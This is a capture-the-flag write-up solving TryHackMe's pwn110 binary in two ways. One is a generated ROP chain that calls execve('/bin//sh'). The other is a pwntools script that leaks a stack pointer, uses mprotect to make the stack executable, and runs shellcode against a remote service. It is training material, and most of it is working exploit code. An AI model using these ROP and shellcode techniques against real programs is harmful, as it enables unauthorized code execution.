TryHackMe - pwn101

This was an intriguing challenge that allowed me to learn new things, which I’ll share with you in this write-up. I’ll walk you through the steps I took to solve this challenge in two different ways.

Challenge details:

┌──(mateim㉿kali)-[~/…/CTFs/TryHackMe/pwn101/110]
└─$ checksec pwn110-1644300525386.pwn110 
[*] '/home/mateim/Desktop/CTFs/TryHackMe/pwn101/110/pwn110-1644300525386.pwn110'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)
                                                                                                                                                                                                                                             
┌──(mateim㉿kali)-[~/…/CTFs/TryHackMe/pwn101/110]
└─$ file pwn110-1644300525386.pwn110 
pwn110-1644300525386.pwn110: ELF 64-bit LSB executable, x86-64, version 1 (GNU/Linux), statically linked, BuildID[sha1]=9765ee1bc5e845af55929a99730baf4dccbb1990, for GNU/Linux 3.2.0, not stripped

From the information above, we can see that the binary is a 64-bit, statically linked, binary with Partial RELRO, Canary enabled, NX enabled, and No PIE.

After decompiling the binary with IDA, we take a look at the main function:

main

There are 2 intresting things to see here:

  • The gets function is used to read the input, which is a dangerous function leads to a buffer overflow.
  • The nop instruction at the end is present insted of the canary check, which means we do not need to leak it and we can just not worry about it.

Solution 1:

Because the binary is statically linked,which means that we have a lot of gadgets, we can use the ROPgadget tool to find the gadgets we need to build the ROP chain.

ROPgadget --binary ./pwn110-1644300525386.pwn110 --ropchain

Output:

#!/usr/bin/env python3
# execve generated by ROPgadget

from struct import pack
from pwn import *

proc=process('./pwn110-1644300525386.pwn110')
# Padding goes here
p = b'A'*40

p += pack('<Q', 0x000000000040f4de) # pop rsi ; ret
p += pack('<Q', 0x00000000004c00e0) # @ .data
p += pack('<Q', 0x00000000004497d7) # pop rax ; ret
p += b'/bin//sh'
p += pack('<Q', 0x000000000047bcf5) # mov qword ptr [rsi], rax ; ret
p += pack('<Q', 0x000000000040f4de) # pop rsi ; ret
p += pack('<Q', 0x00000000004c00e8) # @ .data + 8
p += pack('<Q', 0x0000000000443e30) # xor rax, rax ; ret
p += pack('<Q', 0x000000000047bcf5) # mov qword ptr [rsi], rax ; ret
p += pack('<Q', 0x000000000040191a) # pop rdi ; ret
p += pack('<Q', 0x00000000004c00e0) # @ .data
p += pack('<Q', 0x000000000040f4de) # pop rsi ; ret
p += pack('<Q', 0x00000000004c00e8) # @ .data + 8
p += pack('<Q', 0x000000000040181f) # pop rdx ; ret
p += pack('<Q', 0x00000000004c00e8) # @ .data + 8
p += pack('<Q', 0x0000000000443e30) # xor rax, rax ; ret
p += pack('<Q', 0x0000000000470d20) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000470d20) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000470d20) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000470d20) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000470d20) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000470d20) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000470d20) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000470d20) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000470d20) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000470d20) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000470d20) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000470d20) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000470d20) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000470d20) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000470d20) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000470d20) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000470d20) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000470d20) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000470d20) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000470d20) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000470d20) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000470d20) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000470d20) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000470d20) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000470d20) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000470d20) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000470d20) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000470d20) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000470d20) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000470d20) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000470d20) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000470d20) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000470d20) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000470d20) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000470d20) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000470d20) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000470d20) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000470d20) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000470d20) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000470d20) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000470d20) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000470d20) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000470d20) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000470d20) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000470d20) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000470d20) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000470d20) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000470d20) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000470d20) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000470d20) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000470d20) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000470d20) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000470d20) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000470d20) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000470d20) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000470d20) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000470d20) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000470d20) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000470d20) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004012d3) # syscall

proc.sendline(p)
proc.interactive()

Of course, we first need to calculate de padding using gdb, but I will not show that here. Also note that the program above also works remotely, so you can use it to get the flag.

This solution works by constructing a massive ROP chain and usully works wen exploiting a binary that is statically linked.

Solution 2:

For this challenge, we need to start by understanding mprotect and memory permissions in general. However, before diving into that, I’ll outline the overall approach.

  1. Calculate the padding - We need to calculate the padding to reach the return address.
  2. Construct a ROP chain in order to leak the value of __libc_stack_end - This is a pointer to the top of the stack, which is useful for calling mprotect.
  3. Call mprotect with the parameters necessary - We need to call mprotect to change the permissions of the stack to RWX.
  4. Jump to the stack and execute shellcode - We can now jump to the stack and execute shellcode.

The main idea of the exploit is the change the permissions of the memory region where we will later place our shellcode. Effectively preforming a Ret2Shellcode even though the binary has the NX bit set.

Look at the man page for mprotect:

https://man7.org/linux/man-pages/man2/mprotect.2.html mprotext

The len parameter can be found by looking at the page size of the system, which can be found by running the following command:

getconf PAGESIZE

The prot parameter is the permissions we want to set for the memory region. We want to set it to PROT_READ | PROT_WRITE | PROT_EXEC. Looking at the man page we can see that the value is calculated preforming a bitwise OR operation between the values of the permissions we want to set.

I found the values of each one here:

https://sites.uclouvain.be/SystInfo/usr/include/bits/mman.h.html prot

The addr parameter is the start of the memory region we want to change the permissions of. We can find it out by leaking the value of __libc_stack_end and then substacting from it in order to allign it to a page boundary.

libc_stack_end_leak=libc_stack_end_leak&~0xfff

We can get all the gadgets we need by running the following command:

ropper --file pwn110-1644300525386.pwn110

After changing the permissions of the memory region, we can jump to rsp and execute our shellcode. I will be using this one:

shell=b'\x48\x31\xf6\x56\x48\xbf\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x57\x54\x5f\x6a\x3b\x58\x99\x0f\x05'

After putting all the pieces together, we get the following exploit:

from pwn import *

context.terminal = ['terminator', '-e']
# p = gdb.debug('./pwn110-1644300525386.pwn110', '''
#               br *0x449b70
#               continue
#               ''')

# p=process('./pwn110-1644300525386.pwn110')
p=remote('IP',9010)
elf=context.binary=ELF('./pwn110-1644300525386.pwn110')
rop=ROP(elf)
mprotect=elf.symbols['mprotect'] #0x449b70
info("%#x mprotect", mprotect)

pop_rdi=0x000000000040191a
pop_rsi=0x000000000040f4de
pop_rdx=0x000000000040181f
ret=rop.find_gadget(['ret'])[0]
jmp_rsp=0x0000000000463c43
shell=b'\x48\x31\xf6\x56\x48\xbf\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x57\x54\x5f\x6a\x3b\x58\x99\x0f\x05'
page_size=4096
prot=7
puts=elf.symbols['puts']
main=elf.symbols['main']
libc_stack_end=0x004BFA70

payload=flat(
    b'A'*40,
    ret,
    pop_rdi,
    libc_stack_end,
    puts,
    main
)

p.recvuntil(b'libc')
p.recvline()
p.sendline(payload)
libc_stack_end=p.recvline().strip().ljust(8,b'\x00')
libc_stack_end=u64(libc_stack_end)
libc_stack_end=libc_stack_end&~0xfff
print(hex(libc_stack_end))

payload=flat(
    b'A'*40,
    ret,
    pop_rdi,
    libc_stack_end,
    pop_rsi,
    page_size,
    pop_rdx,
    prot,
    mprotect,
    jmp_rsp,
    shell
)
p.sendline(payload)
p.interactive()

Conclusion:

This was a fun challenge that allowed me to learn new things about memory permissions and how to exploit a binary that has the NX bit set. I hope you enjoyed this write-up and learned something new. If you have any questions or suggestions, feel free to reach out to me. Happy hacking!